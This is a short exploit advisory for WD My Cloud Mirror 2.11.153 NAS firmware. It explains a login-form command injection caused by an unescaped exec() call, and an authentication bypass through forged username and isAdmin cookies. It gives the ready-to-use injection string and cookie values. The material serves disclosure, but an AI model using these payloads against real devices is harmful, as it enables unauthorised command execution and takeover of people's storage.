WD My Cloud Mirror 2.11.153 Remote Command Execution / Authentication Bypass

WD My Cloud Mirror version 2.11.153 suffers from remote command execution and authentication bypass vulnerabilities.

MD5 | 3a03bededda8df40bf30974851a7f210

# Exploit Title: WD My Cloud Mirror 2.11.153 RCE and Authentication Bypass
# Date: 24.01.2017
# Software Link: https://www.wdc.com
# Exploit Author: Kacper Szurek
# Contact: https://twitter.com/KacperSzurek
# Website: https://security.szurek.pl/
# Category: local

1. Description

Itas possible to execute arbitrary commands using login form because `exec()` function is used without `escapeshellarg()`.

It's possible to bypass login form because function only check if `$_COOKIE['username']` and `$_COOKIE['isAdmin']` exist.


2. Proof of Concept

For RCE simply use as username:

a" || your_command_to_execute || "

For authentication bypass set COOKIES:

username=1; isAdmin=1

and then visit for example php/users.php

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